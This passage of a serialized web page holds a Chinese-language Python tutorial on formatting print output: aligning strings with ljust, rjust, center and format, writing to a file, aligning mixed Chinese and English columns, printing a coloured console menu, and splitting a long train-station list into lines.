20250812095212","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812095212.png",[],{"type":18,"tag":34,"props":104963,"children":104964},{},[104965],{"type":18,"tag":54,"props":104966,"children":104969},{"alt":104967,"src":104968},"Pasted image 20250812095901","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812095901.png",[],{"type":18,"tag":337,"props":104971,"children":104973},{"id":104972},"锦囊09-对齐输出数据",[104974],{"type":24,"value":104975},"锦囊09  对齐输出数据",{"type":18,"tag":34,"props":104977,"children":104978},{},[104979,104981,104987,104988,104994,104995,105000,105002,105007],{"type":24,"value":104980},"对齐数据可以使用",{"type":18,"tag":74,"props":104982,"children":104984},{"className":104983},[],[104985],{"type":24,"value":104986},"rjust",{"type":24,"value":1942},{"type":18,"tag":74,"props":104989,"children":104991},{"className":104990},[],[104992],{"type":24,"value":104993},"ljust",{"type":24,"value":10315},{"type":18,"tag":74,"props":104996,"children":104998},{"className":104997},[],[104999],{"type":24,"value":3465},{"type":24,"value":105001},"来实现。也可以使用格式化函数",{"type":18,"tag":74,"props":105003,"children":105005},{"className":105004},[],[105006],{"type":24,"value":64161},{"type":24,"value":105008},"实现，下面通过代码和注释来实现。",{"type":18,"tag":287,"props":105010,"children":105012},{"code":105011,"language":28712,"meta":8,"className":28710,"style":8},"team=\"格林兰岛\"  \nprint(team.ljust(10))              #左对齐字符串，用空格号占位  \nprint(team.ljust(10,'*'))          #左对齐字符串，用*号占位  \nprint(team.rjust(10,'*'))          #右对齐字符串，用*号占位  \nprint(team.rjust(10))              #右对齐字符串，用空格号占位  \nprint(team.center(10))             #中间对齐字符串，用空格号占位  \nprint(team.center(10,'*'))         #中间对齐字符串，用*号占位\n",[105013],{"type":18,"tag":74,"props":105014,"children":105015},{"__ignoreMap":8},[105016,105024,105032,105040,105048,105056,105064],{"type":18,"tag":297,"props":105017,"children":105018},{"class":299,"line":300},[105019],{"type":18,"tag":297,"props":105020,"children":105021},{},[105022],{"type":24,"value":105023},"team=\"格林兰岛\"  \n",{"type":18,"tag":297,"props":105025,"children":105026},{"class":299,"line":657},[105027],{"type":18,"tag":297,"props":105028,"children":105029},{},[105030],{"type":24,"value":105031},"print(team.ljust(10))              #左对齐字符串，用空格号占位  \n",{"type":18,"tag":297,"props":105033,"children":105034},{"class":299,"line":662},[105035],{"type":18,"tag":297,"props":105036,"children":105037},{},[105038],{"type":24,"value":105039},"print(team.ljust(10,'*'))          #左对齐字符串，用*号占位  \n",{"type":18,"tag":297,"props":105041,"children":105042},{"class":299,"line":799},[105043],{"type":18,"tag":297,"props":105044,"children":105045},{},[105046],{"type":24,"value":105047},"print(team.rjust(10,'*'))          #右对齐字符串，用*号占位  \n",{"type":18,"tag":297,"props":105049,"children":105050},{"class":299,"line":808},[105051],{"type":18,"tag":297,"props":105052,"children":105053},{},[105054],{"type":24,"value":105055},"print(team.rjust(10))              #右对齐字符串，用空格号占位  \n",{"type":18,"tag":297,"props":105057,"children":105058},{"class":299,"line":817},[105059],{"type":18,"tag":297,"props":105060,"children":105061},{},[105062],{"type":24,"value":105063},"print(team.center(10))             #中间对齐字符串，用空格号占位  \n",{"type":18,"tag":297,"props":105065,"children":105066},{"class":299,"line":826},[105067],{"type":18,"tag":297,"props":105068,"children":105069},{},[105070],{"type":24,"value":105071},"print(team.center(10,'*'))         #中间对齐字符串，用*号占位\n",{"type":18,"tag":34,"props":105073,"children":105074},{},[105075],{"type":24,"value":103195},{"type":18,"tag":287,"props":105077,"children":105079},{"code":105078},"格林兰岛      \n格林兰岛******\n******格林兰岛\n      格林兰岛\n   格林兰岛   \n***格林兰岛***\n",[105080],{"type":18,"tag":74,"props":105081,"children":105082},{"__ignoreMap":8},[105083],{"type":24,"value":105078},{"type":18,"tag":287,"props":105085,"children":105087},{"code":105086,"language":28712,"meta":8,"className":28710,"style":8},"s=\"多特蒙德\"  \nprint(format(s,'*>20'))  # 右对齐字符串，“*”为号占位符，“>”为右对齐符号，20宽度  \nprint(format(s,'#\u003C20'))  # 左对齐字符串，“#”为号占位符，“\u003C”为左对齐符号，20宽度  \nprint(format(s,' ^20'))  # 中间对齐字符串，空格“ ”为占位符，“^”对齐符号，20宽度\n",[105088],{"type":18,"tag":74,"props":105089,"children":105090},{"__ignoreMap":8},[105091,105099,105107,105115],{"type":18,"tag":297,"props":105092,"children":105093},{"class":299,"line":300},[105094],{"type":18,"tag":297,"props":105095,"children":105096},{},[105097],{"type":24,"value":105098},"s=\"多特蒙德\"  \n",{"type":18,"tag":297,"props":105100,"children":105101},{"class":299,"line":657},[105102],{"type":18,"tag":297,"props":105103,"children":105104},{},[105105],{"type":24,"value":105106},"print(format(s,'*>20'))  # 右对齐字符串，“*”为号占位符，“>”为右对齐符号，20宽度  \n",{"type":18,"tag":297,"props":105108,"children":105109},{"class":299,"line":662},[105110],{"type":18,"tag":297,"props":105111,"children":105112},{},[105113],{"type":24,"value":105114},"print(format(s,'#\u003C20'))  # 左对齐字符串，“#”为号占位符，“\u003C”为左对齐符号，20宽度  \n",{"type":18,"tag":297,"props":105116,"children":105117},{"class":299,"line":799},[105118],{"type":18,"tag":297,"props":105119,"children":105120},{},[105121],{"type":24,"value":105122},"print(format(s,' ^20'))  # 中间对齐字符串，空格“ ”为占位符，“^”对齐符号，20宽度\n",{"type":18,"tag":34,"props":105124,"children":105125},{},[105126],{"type":24,"value":103195},{"type":18,"tag":287,"props":105128,"children":105130},{"code":105129},"****************多特蒙德\n多特蒙德################\n        多特蒙德        \n",[105131],{"type":18,"tag":74,"props":105132,"children":105133},{"__ignoreMap":8},[105134],{"type":24,"value":105129},{"type":18,"tag":287,"props":105136,"children":105138},{"code":105137,"language":28712,"meta":8,"className":28710,"style":8},"car=[ [1,\"奔驰\",489163],[2,\"宝马\",455051] ,[3,\"奥迪\",445300]]  \n  \nfor item in car:                                          # 循环读取列表数据  \n    tup='{0:0>3}\\t{1:*^12}\\t{2:$>12.2f}'                # 设置对其格式和占位符  \n    print(tup.format(item[0],item[1],float(item[2])))  # 输出数据未设置格式\n",[105139],{"type":18,"tag":74,"props":105140,"children":105141},{"__ignoreMap":8},[105142,105150,105157,105165,105173],{"type":18,"tag":297,"props":105143,"children":105144},{"class":299,"line":300},[105145],{"type":18,"tag":297,"props":105146,"children":105147},{},[105148],{"type":24,"value":105149},"car=[ [1,\"奔驰\",489163],[2,\"宝马\",455051] ,[3,\"奥迪\",445300]]  \n",{"type":18,"tag":297,"props":105151,"children":105152},{"class":299,"line":657},[105153],{"type":18,"tag":297,"props":105154,"children":105155},{},[105156],{"type":24,"value":36783},{"type":18,"tag":297,"props":105158,"children":105159},{"class":299,"line":662},[105160],{"type":18,"tag":297,"props":105161,"children":105162},{},[105163],{"type":24,"value":105164},"for item in car:                                          # 循环读取列表数据  \n",{"type":18,"tag":297,"props":105166,"children":105167},{"class":299,"line":799},[105168],{"type":18,"tag":297,"props":105169,"children":105170},{},[105171],{"type":24,"value":105172},"    tup='{0:0>3}\\t{1:*^12}\\t{2:$>12.2f}'                # 设置对其格式和占位符  \n",{"type":18,"tag":297,"props":105174,"children":105175},{"class":299,"line":808},[105176],{"type":18,"tag":297,"props":105177,"children":105178},{},[105179],{"type":24,"value":105180},"    print(tup.format(item[0],item[1],float(item[2])))  # 输出数据未设置格式\n",{"type":18,"tag":34,"props":105182,"children":105183},{},[105184],{"type":24,"value":103195},{"type":18,"tag":287,"props":105186,"children":105188},{"code":105187},"001 *****奔驰*****    $$$489163.00\n002 *****宝马*****    $$$455051.00\n003 *****奥迪*****    $$$445300.00\n",[105189],{"type":18,"tag":74,"props":105190,"children":105191},{"__ignoreMap":8},[105192],{"type":24,"value":105187},{"type":18,"tag":337,"props":105194,"children":105196},{"id":105195},"锦囊10-输出内容到文件",[105197],{"type":24,"value":105198},"锦囊10  输出内容到文件",{"type":18,"tag":34,"props":105200,"children":105201},{},[105202],{"type":24,"value":105203},"设置参数file为目标文件名称，即可输出需要输出的内容到文件。代码如下：",{"type":18,"tag":287,"props":105205,"children":105207},{"code":105206,"language":28712,"meta":8,"className":28710,"style":8},"fp = open('mingrisoft.txt','a+')                # 'a+'以读写模式打开文件  \ntext=\"go big or go home\"  \nprint(text,file=fp)                                   # 输出到文件中  \nfp.close()\n",[105208],{"type":18,"tag":74,"props":105209,"children":105210},{"__ignoreMap":8},[105211,105219,105227,105235],{"type":18,"tag":297,"props":105212,"children":105213},{"class":299,"line":300},[105214],{"type":18,"tag":297,"props":105215,"children":105216},{},[105217],{"type":24,"value":105218},"fp = open('mingrisoft.txt','a+')                # 'a+'以读写模式打开文件  \n",{"type":18,"tag":297,"props":105220,"children":105221},{"class":299,"line":657},[105222],{"type":18,"tag":297,"props":105223,"children":105224},{},[105225],{"type":24,"value":105226},"text=\"go big or go home\"  \n",{"type":18,"tag":297,"props":105228,"children":105229},{"class":299,"line":662},[105230],{"type":18,"tag":297,"props":105231,"children":105232},{},[105233],{"type":24,"value":105234},"print(text,file=fp)                                   # 输出到文件中  \n",{"type":18,"tag":297,"props":105236,"children":105237},{"class":299,"line":799},[105238],{"type":18,"tag":297,"props":105239,"children":105240},{},[105241],{"type":24,"value":105242},"fp.close()\n",{"type":18,"tag":34,"props":105244,"children":105245},{},[105246,105248,105254],{"type":24,"value":105247},"执行上面的代码后，将在程序所在目录下生成一个名称为",{"type":18,"tag":74,"props":105249,"children":105251},{"className":105250},[],[105252],{"type":24,"value":105253},"mingrisoft.txt",{"type":24,"value":105255},"的文件，该文件的内容为文字“go big or go home”。",{"type":18,"tag":34,"props":105257,"children":105258},{},[105259],{"type":18,"tag":105,"props":105260,"children":105261},{},[105262],{"type":24,"value":105263},"场景一：输出嵌套列表的数据",{"type":18,"tag":34,"props":105265,"children":105266},{},[105267],{"type":24,"value":105268},"对于复杂嵌套列表，如何格式化输出对应的数据呢？可以利用for循环读取数据，然后进行格式化处理，即可实现嵌套列表的格式化输出。代码如下：",{"type":18,"tag":287,"props":105270,"children":105272},{"code":105271,"language":28712,"meta":8,"className":28710,"style":8},"college=['1,哈佛大学,Harvard University,美国,100','2,斯坦福大学,Stanford University,美国,76.5','3,剑桥大学,University of Cambridge,英国,70.9','4,麻省理工学院,Massachusetts Institute of Technology,美国,70.4','5,加州大学-伯克利,University of California Berkeley,美国,69.1']  \n  \nprint(\"{0:\u003C3}\\t{1:\u003C12}\\t{2:\u003C31}\\t{3:\u003C4}\\t{4:\u003C6}\".format('排名','中文名称','英文名称','国家','分数'))  \n  \nfor item in college:  \n    line=item.split(',')  \n    tupl = '{0:0>3}\\t{1:\u003C12}\\t{2:\u003C38}\\t{3:\u003C4}\\t{4:>6.2f}'  \n    print(tupl.format(line[0],line[1],line[2],line[3],float(line[4])))\n",[105273],{"type":18,"tag":74,"props":105274,"children":105275},{"__ignoreMap":8},[105276,105284,105291,105299,105306,105314,105322,105330],{"type":18,"tag":297,"props":105277,"children":105278},{"class":299,"line":300},[105279],{"type":18,"tag":297,"props":105280,"children":105281},{},[105282],{"type":24,"value":105283},"college=['1,哈佛大学,Harvard University,美国,100','2,斯坦福大学,Stanford University,美国,76.5','3,剑桥大学,University of Cambridge,英国,70.9','4,麻省理工学院,Massachusetts Institute of Technology,美国,70.4','5,加州大学-伯克利,University of California Berkeley,美国,69.1']  \n",{"type":18,"tag":297,"props":105285,"children":105286},{"class":299,"line":657},[105287],{"type":18,"tag":297,"props":105288,"children":105289},{},[105290],{"type":24,"value":36783},{"type":18,"tag":297,"props":105292,"children":105293},{"class":299,"line":662},[105294],{"type":18,"tag":297,"props":105295,"children":105296},{},[105297],{"type":24,"value":105298},"print(\"{0:\u003C3}\\t{1:\u003C12}\\t{2:\u003C31}\\t{3:\u003C4}\\t{4:\u003C6}\".format('排名','中文名称','英文名称','国家','分数'))  \n",{"type":18,"tag":297,"props":105300,"children":105301},{"class":299,"line":799},[105302],{"type":18,"tag":297,"props":105303,"children":105304},{},[105305],{"type":24,"value":36783},{"type":18,"tag":297,"props":105307,"children":105308},{"class":299,"line":808},[105309],{"type":18,"tag":297,"props":105310,"children":105311},{},[105312],{"type":24,"value":105313},"for item in college:  \n",{"type":18,"tag":297,"props":105315,"children":105316},{"class":299,"line":817},[105317],{"type":18,"tag":297,"props":105318,"children":105319},{},[105320],{"type":24,"value":105321},"    line=item.split(',')  \n",{"type":18,"tag":297,"props":105323,"children":105324},{"class":299,"line":826},[105325],{"type":18,"tag":297,"props":105326,"children":105327},{},[105328],{"type":24,"value":105329},"    tupl = '{0:0>3}\\t{1:\u003C12}\\t{2:\u003C38}\\t{3:\u003C4}\\t{4:>6.2f}'  \n",{"type":18,"tag":297,"props":105331,"children":105332},{"class":299,"line":4524},[105333],{"type":18,"tag":297,"props":105334,"children":105335},{},[105336],{"type":24,"value":105337},"    print(tupl.format(line[0],line[1],line[2],line[3],float(line[4])))\n",{"type":18,"tag":34,"props":105339,"children":105340},{},[105341],{"type":24,"value":105342},"运行程序，输出效果如图所示。",{"type":18,"tag":34,"props":105344,"children":105345},{},[105346],{"type":18,"tag":54,"props":105347,"children":105350},{"alt":105348,"src":105349},"Pasted image 20250812100720","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812100720.png",[],{"type":18,"tag":34,"props":105352,"children":105353},{},[105354,105356,105362],{"type":24,"value":105355},"上面输出当中，采用了左对齐输出，输出时使用制表符",{"type":18,"tag":74,"props":105357,"children":105359},{"className":105358},[],[105360],{"type":24,"value":105361},"\\t",{"type":24,"value":105363},"进行对齐。如果要采用中间对齐方式，会出现对齐效果不佳的情况，这是因为中文字符和英文占据的宽度不同。空格采用中文的空格，可以很好地输出效果。",{"type":18,"tag":287,"props":105365,"children":105367},{"code":105366,"language":28712,"meta":8,"className":28710,"style":8},"college=['1,哈佛大学,Harvard University,美国,100','2,斯坦福大学,Stanford University,美国,76.5','3,剑桥大学,University of Cambridge,英国,70.9','4,麻省理工学院,Massachusetts Institute of Technology,美国,70.4','5,加州大学-伯克利,University of California Berkeley,美国,69.1']  \n  \nchn = chr(12288)  \nprint(chn)  \ntupl1='{0:\u003C3}\\t{1:'+chn+'^10}\\t{2:^30}\\t{3:^6}\\t{4:^6}'  \nprint(tupl1.format('排名','中文名称','英文名称','国家','分数'))  \nfor item in college:  \n    line=item.split(',')  \n    tupl2 = '{0:0\u003C3}\\t{1:'+chn+'^10}\\t{2:^38}\\t{3:^6}\\t{4:6.2f}'  \n    print(tupl2.format(line[0],line[1],line[2],line[3],float(line[4])))\n",[105368],{"type":18,"tag":74,"props":105369,"children":105370},{"__ignoreMap":8},[105371,105378,105385,105393,105401,105409,105417,105424,105431,105439],{"type":18,"tag":297,"props":105372,"children":105373},{"class":299,"line":300},[105374],{"type":18,"tag":297,"props":105375,"children":105376},{},[105377],{"type":24,"value":105283},{"type":18,"tag":297,"props":105379,"children":105380},{"class":299,"line":657},[105381],{"type":18,"tag":297,"props":105382,"children":105383},{},[105384],{"type":24,"value":36783},{"type":18,"tag":297,"props":105386,"children":105387},{"class":299,"line":662},[105388],{"type":18,"tag":297,"props":105389,"children":105390},{},[105391],{"type":24,"value":105392},"chn = chr(12288)  \n",{"type":18,"tag":297,"props":105394,"children":105395},{"class":299,"line":799},[105396],{"type":18,"tag":297,"props":105397,"children":105398},{},[105399],{"type":24,"value":105400},"print(chn)  \n",{"type":18,"tag":297,"props":105402,"children":105403},{"class":299,"line":808},[105404],{"type":18,"tag":297,"props":105405,"children":105406},{},[105407],{"type":24,"value":105408},"tupl1='{0:\u003C3}\\t{1:'+chn+'^10}\\t{2:^30}\\t{3:^6}\\t{4:^6}'  \n",{"type":18,"tag":297,"props":105410,"children":105411},{"class":299,"line":817},[105412],{"type":18,"tag":297,"props":105413,"children":105414},{},[105415],{"type":24,"value":105416},"print(tupl1.format('排名','中文名称','英文名称','国家','分数'))  \n",{"type":18,"tag":297,"props":105418,"children":105419},{"class":299,"line":826},[105420],{"type":18,"tag":297,"props":105421,"children":105422},{},[105423],{"type":24,"value":105313},{"type":18,"tag":297,"props":105425,"children":105426},{"class":299,"line":4524},[105427],{"type":18,"tag":297,"props":105428,"children":105429},{},[105430],{"type":24,"value":105321},{"type":18,"tag":297,"props":105432,"children":105433},{"class":299,"line":4533},[105434],{"type":18,"tag":297,"props":105435,"children":105436},{},[105437],{"type":24,"value":105438},"    tupl2 = '{0:0\u003C3}\\t{1:'+chn+'^10}\\t{2:^38}\\t{3:^6}\\t{4:6.2f}'  \n",{"type":18,"tag":297,"props":105440,"children":105441},{"class":299,"line":4546},[105442],{"type":18,"tag":297,"props":105443,"children":105444},{},[105445],{"type":24,"value":105446},"    print(tupl2.format(line[0],line[1],line[2],line[3],float(line[4])))\n",{"type":18,"tag":34,"props":105448,"children":105449},{},[105450],{"type":24,"value":105342},{"type":18,"tag":34,"props":105452,"children":105453},{},[105454],{"type":18,"tag":54,"props":105455,"children":105458},{"alt":105456,"src":105457},"Pasted image 20250812101122","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812101122.png",[],{"type":18,"tag":34,"props":105460,"children":105461},{},[105462],{"type":18,"tag":105,"props":105463,"children":105464},{},[105465],{"type":24,"value":105466},"场景二：中英文多列对齐输出",{"type":18,"tag":34,"props":105468,"children":105469},{},[105470],{"type":24,"value":105471},"中英文多列对齐输出德国、法国、英国2018年汽车销量数据。读取多个列表的数据，对数据输出时，如果进行格式化处理，输出不对齐，影响输出效果。代码如下：",{"type":18,"tag":287,"props":105473,"children":105475},{"code":105474,"language":28712,"meta":8,"className":28710,"style":8},"gem=[[\"大众\",643518],[\"奔驰\",319163],[\"宝马\",265051],[\"福特\",252323],[\"雪铁龙\",227967],[\"奥迪\",255300]]  \nfra=[[\"雪铁龙\", 698985],[\"雷诺\",547704],[\"大众\",259268],[\"福特\",82633],[\"宝马\",84931],[\"奔驰\",73254]]  \neng=[[\"福特\",254082],[\"大众\",203150],[\"雪铁龙\",177298],[\"奔驰\",172238],[\"宝马\",172048],[\"奥迪\",143739]]  \n  \nfor item1,item2,item3 in zip(gem,fra,eng):  \n    print(item1[0],item1[1],\"  \",item2[0],item2[1],\"  \",item3[0],item3[1])\n",[105476],{"type":18,"tag":74,"props":105477,"children":105478},{"__ignoreMap":8},[105479,105487,105495,105503,105510,105518],{"type":18,"tag":297,"props":105480,"children":105481},{"class":299,"line":300},[105482],{"type":18,"tag":297,"props":105483,"children":105484},{},[105485],{"type":24,"value":105486},"gem=[[\"大众\",643518],[\"奔驰\",319163],[\"宝马\",265051],[\"福特\",252323],[\"雪铁龙\",227967],[\"奥迪\",255300]]  \n",{"type":18,"tag":297,"props":105488,"children":105489},{"class":299,"line":657},[105490],{"type":18,"tag":297,"props":105491,"children":105492},{},[105493],{"type":24,"value":105494},"fra=[[\"雪铁龙\", 698985],[\"雷诺\",547704],[\"大众\",259268],[\"福特\",82633],[\"宝马\",84931],[\"奔驰\",73254]]  \n",{"type":18,"tag":297,"props":105496,"children":105497},{"class":299,"line":662},[105498],{"type":18,"tag":297,"props":105499,"children":105500},{},[105501],{"type":24,"value":105502},"eng=[[\"福特\",254082],[\"大众\",203150],[\"雪铁龙\",177298],[\"奔驰\",172238],[\"宝马\",172048],[\"奥迪\",143739]]  \n",{"type":18,"tag":297,"props":105504,"children":105505},{"class":299,"line":799},[105506],{"type":18,"tag":297,"props":105507,"children":105508},{},[105509],{"type":24,"value":36783},{"type":18,"tag":297,"props":105511,"children":105512},{"class":299,"line":808},[105513],{"type":18,"tag":297,"props":105514,"children":105515},{},[105516],{"type":24,"value":105517},"for item1,item2,item3 in zip(gem,fra,eng):  \n",{"type":18,"tag":297,"props":105519,"children":105520},{"class":299,"line":817},[105521],{"type":18,"tag":297,"props":105522,"children":105523},{},[105524],{"type":24,"value":105525},"    print(item1[0],item1[1],\"  \",item2[0],item2[1],\"  \",item3[0],item3[1])\n",{"type":18,"tag":34,"props":105527,"children":105528},{},[105529],{"type":24,"value":105342},{"type":18,"tag":34,"props":105531,"children":105532},{},[105533],{"type":18,"tag":54,"props":105534,"children":105537},{"alt":105535,"src":105536},"Pasted image 20250812101356","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812101356.png",[],{"type":18,"tag":34,"props":105539,"children":105540},{},[105541,105543,105549,105551,105556],{"type":24,"value":105542},"如果数据中包含中文，则输出的列数据无法排列整齐。使用对齐函数",{"type":18,"tag":74,"props":105544,"children":105546},{"className":105545},[],[105547],{"type":24,"value":105548},"ljust()",{"type":24,"value":105550},"对数据进行居左对齐显示，也无法对齐数据。因为中文占据的字符长度与英文不同，此时可以使用制表符",{"type":18,"tag":74,"props":105552,"children":105554},{"className":105553},[],[105555],{"type":24,"value":105361},{"type":24,"value":105557},"来进行对齐输出。代码如下：",{"type":18,"tag":287,"props":105559,"children":105561},{"code":105560,"language":28712,"meta":8,"className":28710,"style":8},"gem=[[\"大众\",643518],[\"奔驰\",319163],[\"宝马\",265051],[\"福特\",252323],[\"雪铁龙\",227967],[\"奥迪\",255300]]  \nfra=[[\"雪铁龙\", 698985],[\"雷诺\",547704],[\"大众\",259268],[\"福特\",82633],[\"宝马\",84931],[\"奔驰\",73254]]  \neng=[[\"福特\",254082],[\"大众\",203150],[\"雪铁龙\",177298],[\"奔驰\",172238],[\"宝马\",172048],[\"奥迪\",143739]]  \n  \nfor item1,item2,item3 in zip(gem,fra,eng):  \n    item11 = item1[0].ljust(8)  \n    item12 = str(item1[1]).ljust(8)  \n    item21 = item2[0].ljust(8)  \n    item22 = str(item2[1]).ljust(8)  \n    item31 = item1[0].ljust(8)  \n    item32 = str(item3[1]).ljust(8)  \n    print(item11 +\"\\t\",item12+\"\\t\",\"  \",item21+\"\\t\",item22+\"\\t\",\"  \",item31+\"\\t\",item32)\n",[105562],{"type":18,"tag":74,"props":105563,"children":105564},{"__ignoreMap":8},[105565,105572,105579,105586,105593,105600,105608,105616,105624,105632,105640,105648],{"type":18,"tag":297,"props":105566,"children":105567},{"class":299,"line":300},[105568],{"type":18,"tag":297,"props":105569,"children":105570},{},[105571],{"type":24,"value":105486},{"type":18,"tag":297,"props":105573,"children":105574},{"class":299,"line":657},[105575],{"type":18,"tag":297,"props":105576,"children":105577},{},[105578],{"type":24,"value":105494},{"type":18,"tag":297,"props":105580,"children":105581},{"class":299,"line":662},[105582],{"type":18,"tag":297,"props":105583,"children":105584},{},[105585],{"type":24,"value":105502},{"type":18,"tag":297,"props":105587,"children":105588},{"class":299,"line":799},[105589],{"type":18,"tag":297,"props":105590,"children":105591},{},[105592],{"type":24,"value":36783},{"type":18,"tag":297,"props":105594,"children":105595},{"class":299,"line":808},[105596],{"type":18,"tag":297,"props":105597,"children":105598},{},[105599],{"type":24,"value":105517},{"type":18,"tag":297,"props":105601,"children":105602},{"class":299,"line":817},[105603],{"type":18,"tag":297,"props":105604,"children":105605},{},[105606],{"type":24,"value":105607},"    item11 = item1[0].ljust(8)  \n",{"type":18,"tag":297,"props":105609,"children":105610},{"class":299,"line":826},[105611],{"type":18,"tag":297,"props":105612,"children":105613},{},[105614],{"type":24,"value":105615},"    item12 = str(item1[1]).ljust(8)  \n",{"type":18,"tag":297,"props":105617,"children":105618},{"class":299,"line":4524},[105619],{"type":18,"tag":297,"props":105620,"children":105621},{},[105622],{"type":24,"value":105623},"    item21 = item2[0].ljust(8)  \n",{"type":18,"tag":297,"props":105625,"children":105626},{"class":299,"line":4533},[105627],{"type":18,"tag":297,"props":105628,"children":105629},{},[105630],{"type":24,"value":105631},"    item22 = str(item2[1]).ljust(8)  \n",{"type":18,"tag":297,"props":105633,"children":105634},{"class":299,"line":4546},[105635],{"type":18,"tag":297,"props":105636,"children":105637},{},[105638],{"type":24,"value":105639},"    item31 = item1[0].ljust(8)  \n",{"type":18,"tag":297,"props":105641,"children":105642},{"class":299,"line":4555},[105643],{"type":18,"tag":297,"props":105644,"children":105645},{},[105646],{"type":24,"value":105647},"    item32 = str(item3[1]).ljust(8)  \n",{"type":18,"tag":297,"props":105649,"children":105650},{"class":299,"line":4568},[105651],{"type":18,"tag":297,"props":105652,"children":105653},{},[105654],{"type":24,"value":105655},"    print(item11 +\"\\t\",item12+\"\\t\",\"  \",item21+\"\\t\",item22+\"\\t\",\"  \",item31+\"\\t\",item32)\n",{"type":18,"tag":34,"props":105657,"children":105658},{},[105659],{"type":24,"value":105342},{"type":18,"tag":34,"props":105661,"children":105662},{},[105663],{"type":18,"tag":54,"props":105664,"children":105667},{"alt":105665,"src":105666},"Pasted image 20250812101529","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812101529.png",[],{"type":18,"tag":34,"props":105669,"children":105670},{},[105671],{"type":18,"tag":105,"props":105672,"children":105673},{},[105674],{"type":24,"value":105675},"场景三：实现程序主界面",{"type":18,"tag":34,"props":105677,"children":105678},{},[105679],{"type":24,"value":105680},"利用print函数，可以输出程序界面，代码如下：",{"type":18,"tag":287,"props":105682,"children":105684},{"code":105683,"language":28712,"meta":8,"className":28710,"style":8},"print(\"\"\"\\033[1;35m  \n  ****************************************************************                        企业编码生成系统  \n  ****************************************************************      1.生成6位数字防伪编码 （213563型）  \n      2.生成9位系列产品数字防伪编码(879-335439型)  \n      3.生成25位混合产品序列号(B2R12-N7TE8-9IET2-FE35O-DW2K4型)  \n      4.生成含数据分析功能的防伪编码(5A61M0583D2)  \n      5.半智能防伪码自动生成(按指定样式数量自动生成)  \n      6.企业粉丝防伪码抽奖  \n      0.退出系统  \n  ================================================================  说明：通过数字键选择菜单  \n  ================================================================\\033[0m\"\"\")\n",[105685],{"type":18,"tag":74,"props":105686,"children":105687},{"__ignoreMap":8},[105688,105696,105704,105712,105720,105728,105736,105744,105752,105760,105768],{"type":18,"tag":297,"props":105689,"children":105690},{"class":299,"line":300},[105691],{"type":18,"tag":297,"props":105692,"children":105693},{},[105694],{"type":24,"value":105695},"print(\"\"\"\\033[1;35m  \n",{"type":18,"tag":297,"props":105697,"children":105698},{"class":299,"line":657},[105699],{"type":18,"tag":297,"props":105700,"children":105701},{},[105702],{"type":24,"value":105703},"  ****************************************************************                        企业编码生成系统  \n",{"type":18,"tag":297,"props":105705,"children":105706},{"class":299,"line":662},[105707],{"type":18,"tag":297,"props":105708,"children":105709},{},[105710],{"type":24,"value":105711},"  ****************************************************************      1.生成6位数字防伪编码 （213563型）  \n",{"type":18,"tag":297,"props":105713,"children":105714},{"class":299,"line":799},[105715],{"type":18,"tag":297,"props":105716,"children":105717},{},[105718],{"type":24,"value":105719},"      2.生成9位系列产品数字防伪编码(879-335439型)  \n",{"type":18,"tag":297,"props":105721,"children":105722},{"class":299,"line":808},[105723],{"type":18,"tag":297,"props":105724,"children":105725},{},[105726],{"type":24,"value":105727},"      3.生成25位混合产品序列号(B2R12-N7TE8-9IET2-FE35O-DW2K4型)  \n",{"type":18,"tag":297,"props":105729,"children":105730},{"class":299,"line":817},[105731],{"type":18,"tag":297,"props":105732,"children":105733},{},[105734],{"type":24,"value":105735},"      4.生成含数据分析功能的防伪编码(5A61M0583D2)  \n",{"type":18,"tag":297,"props":105737,"children":105738},{"class":299,"line":826},[105739],{"type":18,"tag":297,"props":105740,"children":105741},{},[105742],{"type":24,"value":105743},"      5.半智能防伪码自动生成(按指定样式数量自动生成)  \n",{"type":18,"tag":297,"props":105745,"children":105746},{"class":299,"line":4524},[105747],{"type":18,"tag":297,"props":105748,"children":105749},{},[105750],{"type":24,"value":105751},"      6.企业粉丝防伪码抽奖  \n",{"type":18,"tag":297,"props":105753,"children":105754},{"class":299,"line":4533},[105755],{"type":18,"tag":297,"props":105756,"children":105757},{},[105758],{"type":24,"value":105759},"      0.退出系统  \n",{"type":18,"tag":297,"props":105761,"children":105762},{"class":299,"line":4546},[105763],{"type":18,"tag":297,"props":105764,"children":105765},{},[105766],{"type":24,"value":105767},"  ================================================================  说明：通过数字键选择菜单  \n",{"type":18,"tag":297,"props":105769,"children":105770},{"class":299,"line":4555},[105771],{"type":18,"tag":297,"props":105772,"children":105773},{},[105774],{"type":24,"value":105775},"  ================================================================\\033[0m\"\"\")\n",{"type":18,"tag":34,"props":105777,"children":105778},{},[105779],{"type":24,"value":105780},"运行程序，将输出如图所示的程序运行主菜单。",{"type":18,"tag":34,"props":105782,"children":105783},{},[105784],{"type":18,"tag":54,"props":105785,"children":105788},{"alt":105786,"src":105787},"Pasted image 20250812101746","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250812101746.png",[],{"type":18,"tag":34,"props":105790,"children":105791},{},[105792],{"type":18,"tag":105,"props":105793,"children":105794},{},[105795],{"type":24,"value":105796},"场景四：分行输出K3国际列车的站名",{"type":18,"tag":34,"props":105798,"children":105799},{},[105800],{"type":24,"value":105801},"如果字符串过长，希望多行显示，可以通过切片技术实现多行的输出，如下代码，设置width变量的值，即可实现对K3国际列车的站名多行输出。代码如下：",{"type":18,"tag":287,"props":105803,"children":105805},{"code":105804,"language":28712,"meta":8,"className":28710,"style":8},"k3='北京、张家口南、集宁南、朱日和、二连、扎门乌德、赛音山达、乔伊尔、乌兰巴托、宗哈拉、达尔汗、苏赫巴托、多卓尔内、纳乌什基、吉达、乌兰乌德、斯柳江卡、伊尔库茨克、集马、尼日涅乌丁斯克、伊兰斯卡雅、克拉斯诺亚尔斯克、马林斯克、泰加、新西伯利亚、巴拉宾斯克、鄂木斯克、伊希姆、秋明、斯维尔德洛夫斯克、彼尔姆、巴列集诺、基洛夫、高尔基、弗拉基米尔、莫斯科'  \n  \nwidth=22  \nlen1=0  \nk3line=\"\"  \nwhile len(k3)>width:  \n   k3line=k3[0:width]  \n   k3=k3[width:len(k3)]  \n   print(k3line)  